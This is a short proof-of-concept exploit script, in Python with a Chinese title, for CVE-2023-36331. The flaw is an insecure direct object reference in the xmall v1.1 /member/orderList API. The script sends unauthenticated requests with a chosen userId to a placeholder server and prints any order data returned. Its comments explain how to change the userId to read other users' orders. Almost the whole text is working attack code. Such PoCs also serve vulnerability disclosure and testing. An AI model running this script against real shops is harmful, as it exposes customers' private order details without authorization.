CVE-2023-36331 xmall v1.1 /member/orderList API 越权漏洞

import requests # CVE-2023-36331 PoC - xmall v1.1 /member/orderList API Insecure Direct Object Reference # Description: Incorrect access control in /member/orderList API allows attackers to # access other users' order details via manipulation of userId parameter target_url = "http://target-server.com/member/orderList" # Attacker-controlled userId parameter to enumerate other users' orders # Modify the userId value to access different users' order information payload = { "userId": "1" # Change this value to target different users } try: # Send request with manipulated userId parameter # No authentication required to exploit this vulnerability response = requests.get(target_url, params=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # If response contains order data for the specified userId, # the vulnerability is confirmed if response.status_code == 200 and "order" in response.text.lower(): print("[+] Vulnerability confirmed! Order data leaked.") print(f"[+] Leaked data for userId: {payload['userId']}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")